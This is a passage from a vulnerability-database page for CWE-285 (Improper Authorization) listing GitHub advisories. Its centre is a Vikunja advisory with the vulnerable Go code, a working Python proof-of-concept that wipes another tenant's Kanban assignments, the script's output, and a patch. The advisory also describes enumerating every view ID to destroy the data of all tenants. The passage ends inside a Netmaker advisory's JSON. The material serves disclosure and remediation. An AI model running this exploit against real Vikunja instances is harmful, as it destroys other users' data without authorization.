CWE-285
DiscouragedImproper Authorization
Abstraction: Class · Status: Draft
The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.
2760 vulnerabilities reference this CWE, most recent first.
GHSA-GG62-CG4P-P24M
Vulnerability from github – Published: 2026-09-25 03:31 – Updated: 2026-09-25 03:31A security vulnerability has been detected in ningzichun student-management-system up to 98760f5711cf6dc8b4adca53a9e207ca49b02ebf. This impacts an unknown function of the file user/editLog.php. Such manipulation of the argument sid/addtime/type/reason/detail/logdate leads to authorization bypass. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. The project was informed of the problem early through an issue report but has not responded yet.
{
"affected": [],
"aliases": [
"CVE-2026-97647"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-25T02:16:54Z",
"severity": "MODERATE"
},
"details": "A security vulnerability has been detected in ningzichun student-management-system up to 98760f5711cf6dc8b4adca53a9e207ca49b02ebf. This impacts an unknown function of the file user/editLog.php. Such manipulation of the argument sid/addtime/type/reason/detail/logdate leads to authorization bypass. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. The project was informed of the problem early through an issue report but has not responded yet.",
"id": "GHSA-gg62-cg4p-p24m",
"modified": "2026-09-25T03:31:00Z",
"published": "2026-09-25T03:31:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-97647"
},
{
"type": "WEB",
"url": "https://github.com/ningzichun/student-management-system/issues/10"
},
{
"type": "WEB",
"url": "https://github.com/ningzichun/student-management-system"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-97647"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/910056"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/409749"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/409749/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-GG93-X632-9CCV
Vulnerability from github – Published: 2026-08-28 16:50 – Updated: 2026-08-28 16:50Summary
A user with only a single self-owned project can permanently destroy the Kanban bucket assignments (task_buckets) and task ordering (task_positions) of any other project view in the entire instance. The ProjectView.Delete model method runs three SQL statements: the first is properly scoped to (view_id, project_id), but the next two cascading deletes on task_buckets and task_positions filter only on the URL-supplied project_view_id. The permission check (CanDelete) gates on Admin of the URL :project but never confirms that the URL :view actually belongs to that project.
Details
ProjectView.Delete (file: pkg/models/project_view.go, line 250) cascades on the bare pv.ID for the second and third deletes, ignoring pv.ProjectID:
func (pv *ProjectView) Delete(s *xorm.Session, _ web.Auth) (err error) {
_, err = s.
Where("id = ? AND project_id = ?", pv.ID, pv.ProjectID). // (a) scoped — OK
Delete(&ProjectView{})
if err != nil {
return
}
_, err = s.Where("project_view_id = ?", pv.ID).Delete(&TaskBucket{}) // (b) UNSCOPED
if err != nil {
return
}
_, err = s.Where("project_view_id = ?", pv.ID).Delete(&TaskPosition{}) // (c) UNSCOPED
return
}
pv.ID and pv.ProjectID come straight from the URL path via c.Bind — see the param tags on the struct (pkg/models/project_view.go, lines 133–137):
type ProjectView struct {
ID int64 `xorm:"autoincr not null unique pk" json:"id" param:"view"`
...
ProjectID int64 `xorm:"not null index" json:"project_id" param:"project"`
...
}
The route is registered with both params in pkg/routes/routes.go, line 791:
a.DELETE("/projects/:project/views/:view", projectViewProvider.DeleteWeb)
CanDelete (file: pkg/models/project_view_permissions.go, line 38) gates only on Admin of the URL :project:
func (pv *ProjectView) CanDelete(s *xorm.Session, a web.Auth) (bool, error) {
if isInstanceAdmin(s, a) {
return true, nil
}
filterID := GetSavedFilterIDFromProjectID(pv.ProjectID)
if filterID > 0 { ... }
pp := pv.getProject() // = &Project{ID: pv.ProjectID} (URL path)
return pp.IsAdmin(s, a) // only checks admin on URL :project
}
There is no check that the view (pv.ID) actually belongs to that project. The first SQL inside Delete (the WHERE id = ? AND project_id = ? clause) compensates for the project_views table only. xorm silently returns 0 affected rows on a mismatch — no error — and the function continues. The next two statements then run unconditionally on pv.ID alone.
Why other neighbouring code paths are not vulnerable, for context:
Bucket.canDoBucket(pkg/models/kanban_permissions.go, line 46) loads the bucket from the DB and re-couples the URL project viaGetProjectViewByIDAndProject(viewID, projectID), whichWHERE id = ? AND project_id = ?— mismatched URL:projectreturns an error. Safe.ProjectView.Update(pkg/models/project_view.go, line 412) calls the sameGetProjectViewByIDAndProjectbefore applying the update. Safe.Project.UpdateProjectcascades uses.In("project_view_id", viewIDs).Delete(&Bucket{})(pkg/models/project.go, line 1396) whereviewIDsis loaded from the DB inside an authorised project-delete context. Safe.
The same shape (load-by-URL-id, then cascade-without-coupling) was the root cause of GHSA-jfmm-mjcp-8wq2 (attachment IDOR) and GHSA-2vq4-854f-5c72 (project reparenting). The view-delete cascade has not been audited the same way.
PoC
Prerequisites
- An authenticated account on the target Vikunja instance. No special role is required — local-auth registration is enough; the attacker becomes Admin of any project they create via the
OwnerIDfield set inCreateProject(pkg/models/project.go, line 1021). - Knowledge of any victim view ID. View IDs are auto-increment integers (
autoincron theidcolumn), so guessing or sequential enumeration suffices. If the attacker is a member of any other project, they can list view IDs viaGET /api/v1/projects/:project/views.
Attack Steps
# As the attacker, with valid JWT:
PUT /api/v1/projects -> create throwaway project (ID = P_A)
DELETE /api/v1/projects/P_A/views/V -> V is ANY view ID in the instance
The server returns HTTP 200 {"message":"Successfully deleted."} even when V is not in P_A. The first scoped delete matches 0 rows silently; the second and third unscoped deletes wipe task_buckets and task_positions for view V.
The view itself is not deleted. Tasks themselves are not deleted. But the Kanban layout (which task is in which column) and the manual ordering are destroyed and there is no recovery path short of restoring from backup.
Proof of Concept Script
#!/usr/bin/env python3
"""
PoC: Cross-project destruction of task_buckets / task_positions via ProjectView.Delete
Target: Vikunja
Severity: HIGH - CVSS 8.1
CWE-639: Authorization Bypass Through User-Controlled Key
Usage:
python3 poc.py http://localhost:3456
"""
import requests
import sys
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <BASE_URL>")
print(f"Example: {sys.argv[0]} http://localhost:3456")
sys.exit(1)
BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v1"
VICTIM_USER = "victim_poc"
VICTIM_PASS = "VictimPocPassword!2025"
ATTACKER_USER = "attacker_poc"
ATTACKER_PASS = "AttackerPocPassword!2025"
BANNER = """
=====================================================================
PoC: Cross-Project Kanban Destruction via ProjectView.Delete
Severity: HIGH (CVSS 8.1)
CWE-639: Authorization Bypass Through User-Controlled Key
=====================================================================
"""
print(BANNER)
# ---- Helpers ----
def register(username, password):
requests.post(f"{API}/register", json={
"username": username,
"email": f"{username}@poc.local",
"password": password,
}) # ignore 400 if user already exists
def login(username, password):
r = requests.post(f"{API}/login", json={
"username": username, "password": password,
})
r.raise_for_status()
return r.json()["token"]
def auth(token):
return {"Authorization": f"Bearer {token}",
"Content-Type": "application/json"}
# ---- Victim setup: project + kanban view + tasks + bucket assignments ----
print("[*] Setting up VICTIM (target)")
register(VICTIM_USER, VICTIM_PASS)
vt = login(VICTIM_USER, VICTIM_PASS)
# Create a project (kanban view + default buckets are created automatically).
proj = requests.put(f"{API}/projects",
headers=auth(vt),
json={"title": "Victim Project"}).json()
victim_pid = proj["id"]
# Find the auto-created kanban view.
views = requests.get(f"{API}/projects/{victim_pid}/views",
headers=auth(vt)).json()
kanban_view = next(v for v in views if v["view_kind"] == "kanban")
victim_vid = kanban_view["id"]
# Drop a few tasks into the project — Vikunja will auto-place them in the
# default bucket of the kanban view, populating `task_buckets`.
task_ids = []
for i in range(3):
t = requests.put(f"{API}/projects/{victim_pid}/tasks",
headers=auth(vt),
json={"title": f"Victim task {i}"}).json()
task_ids.append(t["id"])
# Touching the view via the bucket endpoint forces task_position rows to
# materialise. Read the buckets-with-tasks endpoint once.
requests.get(
f"{API}/projects/{victim_pid}/views/{victim_vid}/buckets",
headers=auth(vt),
)
# Confirm the kanban state has populated buckets+tasks.
buckets = requests.get(
f"{API}/projects/{victim_pid}/views/{victim_vid}/buckets",
headers=auth(vt),
).json()
total_tasks_before = sum(len(b.get("tasks") or []) for b in buckets)
print(f"[*] Victim project={victim_pid}, view={victim_vid}, "
f"tasks_in_buckets BEFORE = {total_tasks_before}")
assert total_tasks_before > 0, "PoC requires at least 1 task in the kanban"
# ---- Attacker setup: a throwaway project owned by the attacker ----
print("\n[*] Setting up ATTACKER (any user can do this)")
register(ATTACKER_USER, ATTACKER_PASS)
at = login(ATTACKER_USER, ATTACKER_PASS)
p_a = requests.put(f"{API}/projects",
headers=auth(at),
json={"title": "Attacker Throwaway"}).json()
attacker_pid = p_a["id"]
print(f"[*] Attacker project = {attacker_pid} "
f"(attacker is Admin via OwnerID)")
# ---- ATTACK ----
print(f"\n{'='*65}")
print(f" ATTACK: trainer-equivalent — wipe victim's kanban via own project")
print(f"{'='*65}")
resp = requests.delete(
f"{API}/projects/{attacker_pid}/views/{victim_vid}",
headers=auth(at),
)
print(f"\n DELETE /api/v1/projects/{attacker_pid}/views/{victim_vid}")
print(f" (Logged in as: {ATTACKER_USER}, "
f"who is NOT a member of victim project {victim_pid})")
print(f" Response: HTTP {resp.status_code} body={resp.text!r}")
# ---- VERIFY ----
print(f"\n{'='*65}")
print(f" VERIFICATION")
print(f"{'='*65}")
# View must still exist (the scoped first delete didn't match).
views_after = requests.get(f"{API}/projects/{victim_pid}/views",
headers=auth(vt)).json()
view_still_there = any(v["id"] == victim_vid for v in views_after)
# But the buckets-with-tasks should now be empty (task_buckets wiped).
buckets_after = requests.get(
f"{API}/projects/{victim_pid}/views/{victim_vid}/buckets",
headers=auth(vt),
).json()
total_tasks_after = sum(len(b.get("tasks") or []) for b in buckets_after)
print(f"\n View {victim_vid} still exists? {view_still_there}")
print(f" Tasks in buckets BEFORE attack: {total_tasks_before}")
print(f" Tasks in buckets AFTER attack: {total_tasks_after}")
if view_still_there and total_tasks_after == 0 and total_tasks_before > 0:
print("""
+-----------------------------------------------------------------+
| VULNERABILITY CONFIRMED |
| |
| An unrelated user destroyed every task->bucket assignment |
| and every task position in another user's kanban view, using |
| only a self-owned throwaway project as the URL :project. |
| |
| - The view itself survives (first scoped delete matched 0). |
| - Tasks themselves survive. |
| - task_buckets and task_positions for the view are gone. |
| - Recovery requires restoring from backup. |
+-----------------------------------------------------------------+
""")
else:
print("\n Attack did not land — patched build or unexpected state.")
Proof of Concept Output
=====================================================================
PoC: Cross-Project Kanban Destruction via ProjectView.Delete
Severity: HIGH (CVSS 8.1)
CWE-639: Authorization Bypass Through User-Controlled Key
=====================================================================
[*] Setting up VICTIM (target)
[*] Victim project=42, view=87, tasks_in_buckets BEFORE = 3
[*] Setting up ATTACKER (any user can do this)
[*] Attacker project = 43 (attacker is Admin via OwnerID)
=================================================================
ATTACK: trainer-equivalent — wipe victim's kanban via own project
=================================================================
DELETE /api/v1/projects/43/views/87
(Logged in as: attacker_poc, who is NOT a member of victim project 42)
Response: HTTP 200 body='{"message":"Successfully deleted."}'
=================================================================
VERIFICATION
=================================================================
View 87 still exists? True
Tasks in buckets BEFORE attack: 3
Tasks in buckets AFTER attack: 0
+-----------------------------------------------------------------+
| VULNERABILITY CONFIRMED |
| |
| An unrelated user destroyed every task->bucket assignment |
| and every task position in another user's kanban view, using |
| only a self-owned throwaway project as the URL :project. |
| |
| - The view itself survives (first scoped delete matched 0). |
| - Tasks themselves survive. |
| - task_buckets and task_positions for the view are gone. |
| - Recovery requires restoring from backup. |
+-----------------------------------------------------------------+
Impact
-
Cross-tenant data destruction. Any authenticated user — local-auth registration is enough on default deployments — can wipe the
task_bucketsandtask_positionsrows for any view in the instance. There is no requirement to be a member of, or share anything with, the victim project. -
Permanent loss without backup. Tasks and views survive, but every Kanban-column assignment and every manual ordering position for the targeted view is destroyed. Vikunja has no per-row recovery path; the only way back is restoring the database (or
task_buckets/task_positionstables) from backup. -
Trivial discovery. View IDs are auto-increment integers. An attacker can wipe every view in the instance by iterating
1..N, callingDELETE /api/v1/projects/<own-project>/views/<i>for each. Each request is a 200 OK regardless of whether the view existed in the attacker's project — so the attacker can't even tell which IDs were "real" without watching for victim complaints. -
Multi-tenant SaaS impact. On hosted Vikunja deployments (e.g.
try.vikunja.io-style setups), a single sign-up suffices to destroy Kanban layouts of every other tenant on the same instance.
Fix
Either gate the cascading deletes on whether the scoped first delete matched, or re-couple (view_id, project_id) inside the cascading queries.
Minimal patch — pkg/models/project_view.go, inside Delete():
func (pv *ProjectView) Delete(s *xorm.Session, _ web.Auth) (err error) {
affected, err := s.
Where("id = ? AND project_id = ?", pv.ID, pv.ProjectID).
Delete(&ProjectView{})
if err != nil {
return
}
if affected == 0 {
// Either the view doesn't exist, or it doesn't belong to pv.ProjectID.
// Either way, do not cascade — return an error so the API responds 404.
return ErrProjectViewDoesNotExist{ProjectViewID: pv.ID}
}
if _, err = s.Where("project_view_id = ?", pv.ID).Delete(&TaskBucket{}); err != nil {
return
}
_, err = s.Where("project_view_id = ?", pv.ID).Delete(&TaskPosition{})
return
}
This makes the cascade conditional on the scoped delete actually having matched a row. As a defence-in-depth follow-up, CanDelete should also load the view and verify view.ProjectID == pv.ProjectID before granting permission, so the 404 path in Delete becomes a backstop rather than the only line of defence — mirroring the pattern used by Bucket.canDoBucket and ProjectView.Update elsewhere in the same file.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.vikunja.io/api"
},
"ranges": [
{
"events": [
{
"introduced": "0.24.6"
},
{
"fixed": "2.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55065"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-28T16:50:34Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nA user with only a single self-owned project can permanently destroy the Kanban bucket assignments (`task_buckets`) and task ordering (`task_positions`) of **any other project view in the entire instance**. The `ProjectView.Delete` model method runs three SQL statements: the first is properly scoped to `(view_id, project_id)`, but the next two cascading deletes on `task_buckets` and `task_positions` filter only on the URL-supplied `project_view_id`. The permission check (`CanDelete`) gates on Admin of the URL `:project` but never confirms that the URL `:view` actually belongs to that project.\n\n### Details\n\n`ProjectView.Delete` (file: `pkg/models/project_view.go`, line 250) cascades on the bare `pv.ID` for the second and third deletes, ignoring `pv.ProjectID`:\n\n```go\nfunc (pv *ProjectView) Delete(s *xorm.Session, _ web.Auth) (err error) {\n _, err = s.\n Where(\"id = ? AND project_id = ?\", pv.ID, pv.ProjectID). // (a) scoped \u2014 OK\n Delete(\u0026ProjectView{})\n if err != nil {\n return\n }\n\n _, err = s.Where(\"project_view_id = ?\", pv.ID).Delete(\u0026TaskBucket{}) // (b) UNSCOPED\n if err != nil {\n return\n }\n\n _, err = s.Where(\"project_view_id = ?\", pv.ID).Delete(\u0026TaskPosition{}) // (c) UNSCOPED\n return\n}\n```\n\n`pv.ID` and `pv.ProjectID` come straight from the URL path via `c.Bind` \u2014 see the param tags on the struct (`pkg/models/project_view.go`, lines 133\u2013137):\n\n```go\ntype ProjectView struct {\n ID int64 `xorm:\"autoincr not null unique pk\" json:\"id\" param:\"view\"`\n ...\n ProjectID int64 `xorm:\"not null index\" json:\"project_id\" param:\"project\"`\n ...\n}\n```\n\nThe route is registered with both params in `pkg/routes/routes.go`, line 791:\n\n```go\na.DELETE(\"/projects/:project/views/:view\", projectViewProvider.DeleteWeb)\n```\n\n`CanDelete` (file: `pkg/models/project_view_permissions.go`, line 38) gates only on Admin of the URL `:project`:\n\n```go\nfunc (pv *ProjectView) CanDelete(s *xorm.Session, a web.Auth) (bool, error) {\n if isInstanceAdmin(s, a) {\n return true, nil\n }\n filterID := GetSavedFilterIDFromProjectID(pv.ProjectID)\n if filterID \u003e 0 { ... }\n\n pp := pv.getProject() // = \u0026Project{ID: pv.ProjectID} (URL path)\n return pp.IsAdmin(s, a) // only checks admin on URL :project\n}\n```\n\nThere is **no check** that the view (`pv.ID`) actually belongs to that project. The first SQL inside `Delete` (the `WHERE id = ? AND project_id = ?` clause) compensates *for the `project_views` table only*. xorm silently returns 0 affected rows on a mismatch \u2014 no error \u2014 and the function continues. The next two statements then run unconditionally on `pv.ID` alone.\n\nWhy other neighbouring code paths are not vulnerable, for context:\n\n- `Bucket.canDoBucket` (`pkg/models/kanban_permissions.go`, line 46) loads the bucket from the DB and re-couples the URL project via `GetProjectViewByIDAndProject(viewID, projectID)`, which `WHERE id = ? AND project_id = ?` \u2014 mismatched URL `:project` returns an error. Safe.\n- `ProjectView.Update` (`pkg/models/project_view.go`, line 412) calls the same `GetProjectViewByIDAndProject` *before* applying the update. Safe.\n- `Project.UpdateProject` cascades use `s.In(\"project_view_id\", viewIDs).Delete(\u0026Bucket{})` (`pkg/models/project.go`, line 1396) where `viewIDs` is loaded from the DB inside an authorised project-delete context. Safe.\n\nThe same shape (load-by-URL-id, then cascade-without-coupling) was the root cause of GHSA-jfmm-mjcp-8wq2 (attachment IDOR) and GHSA-2vq4-854f-5c72 (project reparenting). The view-delete cascade has not been audited the same way.\n\n### PoC\n\n#### Prerequisites\n\n- An authenticated account on the target Vikunja instance. **No special role is required** \u2014 local-auth registration is enough; the attacker becomes Admin of any project they create via the `OwnerID` field set in `CreateProject` (`pkg/models/project.go`, line 1021).\n- Knowledge of any victim view ID. View IDs are auto-increment integers (`autoincr` on the `id` column), so guessing or sequential enumeration suffices. If the attacker is a member of any other project, they can list view IDs via `GET /api/v1/projects/:project/views`.\n\n#### Attack Steps\n\n```\n# As the attacker, with valid JWT:\nPUT /api/v1/projects -\u003e create throwaway project (ID = P_A)\nDELETE /api/v1/projects/P_A/views/V -\u003e V is ANY view ID in the instance\n```\n\nThe server returns **HTTP 200** `{\"message\":\"Successfully deleted.\"}` even when `V` is not in `P_A`. The first scoped delete matches 0 rows silently; the second and third unscoped deletes wipe `task_buckets` and `task_positions` for view `V`.\n\nThe view itself is not deleted. Tasks themselves are not deleted. But the Kanban layout (which task is in which column) and the manual ordering are destroyed and there is no recovery path short of restoring from backup.\n\n#### Proof of Concept Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: Cross-project destruction of task_buckets / task_positions via ProjectView.Delete\nTarget: Vikunja\nSeverity: HIGH - CVSS 8.1\nCWE-639: Authorization Bypass Through User-Controlled Key\n\nUsage:\n python3 poc.py http://localhost:3456\n\"\"\"\n\nimport requests\nimport sys\n\nif len(sys.argv) \u003c 2:\n print(f\"Usage: {sys.argv[0]} \u003cBASE_URL\u003e\")\n print(f\"Example: {sys.argv[0]} http://localhost:3456\")\n sys.exit(1)\n\nBASE = sys.argv[1].rstrip(\"/\")\nAPI = f\"{BASE}/api/v1\"\n\nVICTIM_USER = \"victim_poc\"\nVICTIM_PASS = \"VictimPocPassword!2025\"\nATTACKER_USER = \"attacker_poc\"\nATTACKER_PASS = \"AttackerPocPassword!2025\"\n\nBANNER = \"\"\"\n=====================================================================\n PoC: Cross-Project Kanban Destruction via ProjectView.Delete\n Severity: HIGH (CVSS 8.1)\n CWE-639: Authorization Bypass Through User-Controlled Key\n=====================================================================\n\"\"\"\nprint(BANNER)\n\n\n# ---- Helpers ----\n\ndef register(username, password):\n requests.post(f\"{API}/register\", json={\n \"username\": username,\n \"email\": f\"{username}@poc.local\",\n \"password\": password,\n }) # ignore 400 if user already exists\n\ndef login(username, password):\n r = requests.post(f\"{API}/login\", json={\n \"username\": username, \"password\": password,\n })\n r.raise_for_status()\n return r.json()[\"token\"]\n\ndef auth(token):\n return {\"Authorization\": f\"Bearer {token}\",\n \"Content-Type\": \"application/json\"}\n\n\n# ---- Victim setup: project + kanban view + tasks + bucket assignments ----\n\nprint(\"[*] Setting up VICTIM (target)\")\nregister(VICTIM_USER, VICTIM_PASS)\nvt = login(VICTIM_USER, VICTIM_PASS)\n\n# Create a project (kanban view + default buckets are created automatically).\nproj = requests.put(f\"{API}/projects\",\n headers=auth(vt),\n json={\"title\": \"Victim Project\"}).json()\nvictim_pid = proj[\"id\"]\n\n# Find the auto-created kanban view.\nviews = requests.get(f\"{API}/projects/{victim_pid}/views\",\n headers=auth(vt)).json()\nkanban_view = next(v for v in views if v[\"view_kind\"] == \"kanban\")\nvictim_vid = kanban_view[\"id\"]\n\n# Drop a few tasks into the project \u2014 Vikunja will auto-place them in the\n# default bucket of the kanban view, populating `task_buckets`.\ntask_ids = []\nfor i in range(3):\n t = requests.put(f\"{API}/projects/{victim_pid}/tasks\",\n headers=auth(vt),\n json={\"title\": f\"Victim task {i}\"}).json()\n task_ids.append(t[\"id\"])\n\n# Touching the view via the bucket endpoint forces task_position rows to\n# materialise. Read the buckets-with-tasks endpoint once.\nrequests.get(\n f\"{API}/projects/{victim_pid}/views/{victim_vid}/buckets\",\n headers=auth(vt),\n)\n\n# Confirm the kanban state has populated buckets+tasks.\nbuckets = requests.get(\n f\"{API}/projects/{victim_pid}/views/{victim_vid}/buckets\",\n headers=auth(vt),\n).json()\ntotal_tasks_before = sum(len(b.get(\"tasks\") or []) for b in buckets)\nprint(f\"[*] Victim project={victim_pid}, view={victim_vid}, \"\n f\"tasks_in_buckets BEFORE = {total_tasks_before}\")\nassert total_tasks_before \u003e 0, \"PoC requires at least 1 task in the kanban\"\n\n\n# ---- Attacker setup: a throwaway project owned by the attacker ----\n\nprint(\"\\n[*] Setting up ATTACKER (any user can do this)\")\nregister(ATTACKER_USER, ATTACKER_PASS)\nat = login(ATTACKER_USER, ATTACKER_PASS)\n\np_a = requests.put(f\"{API}/projects\",\n headers=auth(at),\n json={\"title\": \"Attacker Throwaway\"}).json()\nattacker_pid = p_a[\"id\"]\nprint(f\"[*] Attacker project = {attacker_pid} \"\n f\"(attacker is Admin via OwnerID)\")\n\n\n# ---- ATTACK ----\n\nprint(f\"\\n{\u0027=\u0027*65}\")\nprint(f\" ATTACK: trainer-equivalent \u2014 wipe victim\u0027s kanban via own project\")\nprint(f\"{\u0027=\u0027*65}\")\n\nresp = requests.delete(\n f\"{API}/projects/{attacker_pid}/views/{victim_vid}\",\n headers=auth(at),\n)\nprint(f\"\\n DELETE /api/v1/projects/{attacker_pid}/views/{victim_vid}\")\nprint(f\" (Logged in as: {ATTACKER_USER}, \"\n f\"who is NOT a member of victim project {victim_pid})\")\nprint(f\" Response: HTTP {resp.status_code} body={resp.text!r}\")\n\n\n# ---- VERIFY ----\n\nprint(f\"\\n{\u0027=\u0027*65}\")\nprint(f\" VERIFICATION\")\nprint(f\"{\u0027=\u0027*65}\")\n\n# View must still exist (the scoped first delete didn\u0027t match).\nviews_after = requests.get(f\"{API}/projects/{victim_pid}/views\",\n headers=auth(vt)).json()\nview_still_there = any(v[\"id\"] == victim_vid for v in views_after)\n\n# But the buckets-with-tasks should now be empty (task_buckets wiped).\nbuckets_after = requests.get(\n f\"{API}/projects/{victim_pid}/views/{victim_vid}/buckets\",\n headers=auth(vt),\n).json()\ntotal_tasks_after = sum(len(b.get(\"tasks\") or []) for b in buckets_after)\n\nprint(f\"\\n View {victim_vid} still exists? {view_still_there}\")\nprint(f\" Tasks in buckets BEFORE attack: {total_tasks_before}\")\nprint(f\" Tasks in buckets AFTER attack: {total_tasks_after}\")\n\nif view_still_there and total_tasks_after == 0 and total_tasks_before \u003e 0:\n print(\"\"\"\n +-----------------------------------------------------------------+\n | VULNERABILITY CONFIRMED |\n | |\n | An unrelated user destroyed every task-\u003ebucket assignment |\n | and every task position in another user\u0027s kanban view, using |\n | only a self-owned throwaway project as the URL :project. |\n | |\n | - The view itself survives (first scoped delete matched 0). |\n | - Tasks themselves survive. |\n | - task_buckets and task_positions for the view are gone. |\n | - Recovery requires restoring from backup. |\n +-----------------------------------------------------------------+\n\"\"\")\nelse:\n print(\"\\n Attack did not land \u2014 patched build or unexpected state.\")\n```\n\n#### Proof of Concept Output\n\n```\n=====================================================================\n PoC: Cross-Project Kanban Destruction via ProjectView.Delete\n Severity: HIGH (CVSS 8.1)\n CWE-639: Authorization Bypass Through User-Controlled Key\n=====================================================================\n\n[*] Setting up VICTIM (target)\n[*] Victim project=42, view=87, tasks_in_buckets BEFORE = 3\n\n[*] Setting up ATTACKER (any user can do this)\n[*] Attacker project = 43 (attacker is Admin via OwnerID)\n\n=================================================================\n ATTACK: trainer-equivalent \u2014 wipe victim\u0027s kanban via own project\n=================================================================\n\n DELETE /api/v1/projects/43/views/87\n (Logged in as: attacker_poc, who is NOT a member of victim project 42)\n Response: HTTP 200 body=\u0027{\"message\":\"Successfully deleted.\"}\u0027\n\n=================================================================\n VERIFICATION\n=================================================================\n\n View 87 still exists? True\n Tasks in buckets BEFORE attack: 3\n Tasks in buckets AFTER attack: 0\n\n +-----------------------------------------------------------------+\n | VULNERABILITY CONFIRMED |\n | |\n | An unrelated user destroyed every task-\u003ebucket assignment |\n | and every task position in another user\u0027s kanban view, using |\n | only a self-owned throwaway project as the URL :project. |\n | |\n | - The view itself survives (first scoped delete matched 0). |\n | - Tasks themselves survive. |\n | - task_buckets and task_positions for the view are gone. |\n | - Recovery requires restoring from backup. |\n +-----------------------------------------------------------------+\n```\n\n### Impact\n\n1. **Cross-tenant data destruction.** Any authenticated user \u2014 local-auth registration is enough on default deployments \u2014 can wipe the `task_buckets` and `task_positions` rows for any view in the instance. There is no requirement to be a member of, or share anything with, the victim project.\n\n2. **Permanent loss without backup.** Tasks and views survive, but every Kanban-column assignment and every manual ordering position for the targeted view is destroyed. Vikunja has no per-row recovery path; the only way back is restoring the database (or `task_buckets` / `task_positions` tables) from backup.\n\n3. **Trivial discovery.** View IDs are auto-increment integers. An attacker can wipe every view in the instance by iterating `1..N`, calling `DELETE /api/v1/projects/\u003cown-project\u003e/views/\u003ci\u003e` for each. Each request is a 200 OK regardless of whether the view existed in the attacker\u0027s project \u2014 so the attacker can\u0027t even tell which IDs were \"real\" without watching for victim complaints.\n\n4. **Multi-tenant SaaS impact.** On hosted Vikunja deployments (e.g. `try.vikunja.io`-style setups), a single sign-up suffices to destroy Kanban layouts of every other tenant on the same instance.\n\n### Fix\n\nEither gate the cascading deletes on whether the scoped first delete matched, or re-couple `(view_id, project_id)` inside the cascading queries.\n\nMinimal patch \u2014 `pkg/models/project_view.go`, inside `Delete()`:\n\n```go\nfunc (pv *ProjectView) Delete(s *xorm.Session, _ web.Auth) (err error) {\n affected, err := s.\n Where(\"id = ? AND project_id = ?\", pv.ID, pv.ProjectID).\n Delete(\u0026ProjectView{})\n if err != nil {\n return\n }\n if affected == 0 {\n // Either the view doesn\u0027t exist, or it doesn\u0027t belong to pv.ProjectID.\n // Either way, do not cascade \u2014 return an error so the API responds 404.\n return ErrProjectViewDoesNotExist{ProjectViewID: pv.ID}\n }\n\n if _, err = s.Where(\"project_view_id = ?\", pv.ID).Delete(\u0026TaskBucket{}); err != nil {\n return\n }\n _, err = s.Where(\"project_view_id = ?\", pv.ID).Delete(\u0026TaskPosition{})\n return\n}\n```\n\nThis makes the cascade conditional on the scoped delete actually having matched a row. As a defence-in-depth follow-up, `CanDelete` should also load the view and verify `view.ProjectID == pv.ProjectID` before granting permission, so the 404 path in `Delete` becomes a backstop rather than the only line of defence \u2014 mirroring the pattern used by `Bucket.canDoBucket` and `ProjectView.Update` elsewhere in the same file.",
"id": "GHSA-gg93-x632-9ccv",
"modified": "2026-08-28T16:50:34Z",
"published": "2026-08-28T16:50:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-gg93-x632-9ccv"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/pull/3239"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/commit/6895a7765ef1667be4b79df29549d33b9e1ca9ca"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-vikunja/vikunja"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.4.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Vikunja vulnerable to Improper Authorization and Authorization Bypass Through User-Controlled Key"
}
GHSA-GGF6-638M-VQMG
Vulnerability from github – Published: 2022-09-15 03:34 – Updated: 2023-06-27 22:21Impact
Improper Authorization functions leads to non-privileged users running privileged API calls. If you have added users to your Netmaker platform who whould not have admin privileges, they could use their auth token to run admin-level functions via the API.
In addition, differing response codes based on function calls allowed non-users to potentially brute force the determination of names of networks on the system.
Patches
This problem has been patched in v0.15.1. To apply:
- docker-compose down
- docker pull gravitl/netmaker:v0.15.1
- docker-compose up -d
For more information
If you have any questions or comments about this advisory:
Email us at info@netmaker.io This vulnerability was brought to our attention by @tweidinger
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/gravitl/netmaker"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.15.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-36110"
],
"database_specific": {
"cwe_ids": [
"CWE-1220",
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2022-09-15T03:34:21Z",
"nvd_published_at": "2022-09-09T20:15:00Z",
